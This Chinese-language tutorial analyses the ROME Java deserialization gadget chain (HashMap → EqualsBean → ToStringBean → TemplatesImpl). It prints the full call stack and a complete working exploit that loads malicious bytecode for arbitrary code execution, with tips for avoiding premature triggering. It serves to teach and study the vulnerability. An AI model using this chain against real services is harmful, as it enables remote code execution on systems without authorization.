ROME链试探
字数 1408 2025-08-24 07:48:22
ROME链反序列化漏洞分析与利用
1. ROME框架简介
ROME是一个用于处理RSS和Atom订阅的Java框架,具有以下特点:
- 提供RSS和Atom订阅的解析器和生成器
- 支持不同格式之间的转换
- 开源项目,遵循Apache 2.0许可证
- 包含关键类:
ToStringBean、EqualsBean、ObjectBean
2. 漏洞环境搭建
2.1 Maven依赖配置
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
2.2 所需工具类
TemplatesImpl- 用于承载恶意字节码TransformerFactoryImpl- 转换器工厂ToStringBean- ROME框架中的关键类EqualsBean- ROME框架中的关键类HashMap- 触发反序列化的入口点
3. 漏洞利用链分析
3.1 完整调用链
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:31, Test2
main:52, Test2
3.2 关键步骤分析
-
入口点:
HashMap的readObject方法- HashMap在反序列化时会调用key对象的
hashCode方法
- HashMap在反序列化时会调用key对象的
-
EqualsBean.hashCode()
- 调用
beanHashCode方法
- 调用
-
EqualsBean.beanHashCode()
- 调用
_obj对象的toString方法
- 调用
-
ToStringBean.toString()
- 通过反射获取
_beanClass的所有getter方法 - 使用
pReadMethod.invoke()调用getter方法
- 通过反射获取
-
触发点:
TemplatesImpl.getOutputProperties()- 最终执行恶意字节码
4. 漏洞利用代码详解
4.1 完整EXP代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Test {
// 设置字段值的工具方法
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ROME.bin"));
oos.writeObject(obj);
}
// 反序列化方法
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
// 1. 准备TemplatesImpl恶意类
byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\ROME\\target\\classes\\Exp.class"));
TemplatesImpl templates = new TemplatesImpl();
TemplatesImpl templates1 = new TemplatesImpl();
setFieldValue(templates, "_name", "aaa");
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 2. 构造ToStringBean
ToStringBean toStringBean = new ToStringBean(templates.getClass(), templates1);
// 3. 构造EqualsBean
EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
// 4. 构造HashMap触发点
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "aaa");
// 5. 关键修改:避免提前触发
setFieldValue(toStringBean, "_beanClass", Templates.class);
setFieldValue(toStringBean, "_obj", templates);
// 6. 序列化和触发
serialize(hashMap);
unserialize("ROME.bin");
}
}
4.2 关键点说明
-
TemplatesImpl设置:
_name:任意字符串_bytecodes:恶意类的字节码_tfactory:TransformerFactoryImpl实例
-
ToStringBean构造:
- 初始构造时使用无害对象(
templates1) - 后续通过反射修改为恶意对象(
templates)
- 初始构造时使用无害对象(
-
避免提前触发:
- 先构造HashMap并放入无害数据
- 然后通过反射修改关键字段
-
关键修改技巧:
setFieldValue(toStringBean, "_beanClass", Templates.class); setFieldValue(toStringBean, "_obj", templates);- 使用
Templates.class而非templates.getClass() - 这样只会遍历
Templates接口的getter方法,确保只调用getOutputProperties
- 使用
5. 漏洞利用注意事项
-
避免提前触发:
- 在
hashMap.put时就会触发部分调用链 - 需要先传入正常数据,再通过反射修改为恶意数据
- 在
-
类加载问题:
- 确保恶意类
Exp.class已编译并可用 - 字节码路径需要正确配置
- 确保恶意类
-
JDK版本兼容性:
- 不同JDK版本可能需要调整
- 注意
TemplatesImpl类的内部实现变化
6. 漏洞原理总结
ROME链利用了以下关键点:
- 入口点:HashMap反序列化时会调用key的hashCode方法
- EqualsBean:hashCode方法会调用toString方法
- ToStringBean:toString方法会反射调用getter方法
- 终点:TemplatesImpl的getOutputProperties方法可以加载恶意字节码
该漏洞链展示了Java反序列化漏洞的典型利用模式,通过一系列精心构造的对象和方法调用,最终达到执行任意代码的目的。